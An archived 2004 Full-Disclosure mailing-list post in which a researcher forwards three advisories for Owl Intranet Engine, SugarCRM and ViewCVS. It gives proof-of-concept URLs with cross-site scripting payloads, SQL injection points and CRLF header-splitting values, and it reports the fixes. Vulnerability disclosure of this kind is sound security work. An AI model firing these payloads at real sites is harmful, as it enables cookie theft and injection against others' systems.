lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
From: joxeankoret at yahoo.es (Joxean Koret)
Subject: Re: [SECUNIA] Vulnerability postings

On Fri, 2004-12-31 at 07:26 +0100, Thomas Kristensen wrote:
> Hi Jose,
> 
> It appears that you recently discovered some issues in Owl and SugarCRM.
> However, I have not seen any postings on bugtraq or similar lists, the
> only information available is what SecurityFocus has posted in their bid
> database.
> 

Yes, I have been discovered various issues with Owl and SugarCRM (and
also with ViewCVS and GMail). 

I send you attached the advisories for Owl, SugarCRM and ViewCVS.

> I would greatly appreciate if you forwarded your research to
> full-disclosure@...ts.netsys.com and vuln@...unia.com to ensure that
> other people than those employed at SF would get access to it.
> 
> Happy new year.
> 
Ok, Happy new year!

Regards.
Joxean Koret
-------------- next part --------------
----------------------------------------------------------------------------
               Various Vulnerabilities in OWL Intranet Engine
----------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

OWL 0.7 and 0.8 -  Owl is a multi user document repository (knowledgebase) 
system written in PHP4 for publishing files/documents onto the web for a 
corporation, small business, group of people, or just for yourself.

Web : http://owl.sourceforge.net/

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerabilities

A1. In the script browser various parameters, that are used to write the
html code, not are verified. 

	Test URLS : 

	http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=115&expand=1'><script>alert(document.location)</script>&order=creatorid&sortposted=DESC

	http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=115&expand=1&order=creatorid'><script>alert(document.location)</script>&sortposted=DESC


B. SQL Injection Vulnerabilities

B1. In the browser.php script the following parameters are vulnerables to an
SQL Injection attacks.

	Test URLS : 
	
	http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=104[SQL%20INJECTION]&expand=1&order=creatorid&sortposted=DESC
	http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=104&expand=1&order=creatorid&sortposted=DESC[SQL%20INJECTION]


The fix:
~~~~~~~~

All problems are fixed in the CVS.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es


-------------- next part --------------
----------------------------------------------------------------------------
Cross Site Scripting Vulnerabilities and Possible Code Execution in SugarCRM
----------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SugarCRM 1.X - Manage leads, opportunities, contacts and more inside of a 
state-of-the-art user interface. Built on PHP and MySQL

Web : http://sugarcrm.sourceforge.net

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerability

A1. In the main script (index.php) various parameters, that are used to write the
html code, not are verified. 

At least the following URLs are vulnerables to XSS (Cross Site Scripting) attacks : 

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module="><script>alert(document.cookie)</script>&return_action=index

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module=&return_action="><script>alert(document.cookie)</script>

http://<site-with-sugarcrm>/sugarcrm/index.php?name=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&address_city=&website=&phone=&action=ListView&query=true&module=Accounts&button=Search

And the following are XSS vulnerables and, may be, arbitrary PHP remote code execution 
vulnerables as well : 

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts"><script>alert(document.cookie)</script>&record=d676f046-1be5-dc36-114e-4138f972bf5d

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts''''&record=[RECORD ID]"><script>alert(document.cookie)</script>


The fix:
~~~~~~~~

All problems are fixed in the latests versions availables at the sugarcrm site.
Go to http://sugarcrm.sourceforge.net site for more info about the new versions.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es


-------------- next part --------------
---------------------------------------------------------------------------
              Two Vulnerabilities in ViewCVS
---------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ViewCVS 0.9.2 - ViewCVS is a browser interface for CVS and Subversion version control repositories

ViewCVS can browse directories, change logs, and revisions of files. It can display diffs between versions and show selections of files based on tags or branches. In addition, ViewCVS has "annotation" / "blame" support, and Bonsai-like query facility

Web : http://viewcvs.sourceforge.net

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerability and/or HTTP Response Splitting

A1. When you want to view any source file that is stored in the CVS repository you can 
select the mime-type to view this (in example, text/html or text/plain). This is a 
parameter that receives thet viewcvs.py script and is not verified.

I'm not sure if this is an HTTP Response Splitting vulnerability and/or a Cross Site Scripting,
but is a security problem.

To try the vulnerabilities you can try the following the Proof of Concepts: 

	Sample 1 :
	~~~~~~~~~~

	http://<site-with-viewcvs-092>/cgi-bin/viewcvs/project/source.file?rev=HEAD&content-type=text/html%0d%0a%0d%0a<html><body%20bgcolor="black"><font%20size=7%20color=red>XSS%20or%20HTTP%20Response%20Splitting</font></html>

	Sample 2 :
	~~~~~~~~~~

	http://<site-with-viewcvs-092>/cgi-bin/viewcvs/*checkout*/project/source.file?rev=1.0&content-type=text/html%0d%0aContent-Length:1937%0d%0a%0d%0aHi


The fix:
~~~~~~~~

The vendor was contacted but no path for the 0.9.2 version has been released. Anyway, the 
problems has been fixed in the ViewCVS 1.0-dev version available via CVS.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20041231/f4188582/attachment.bin

Powered by blists - more mailing lists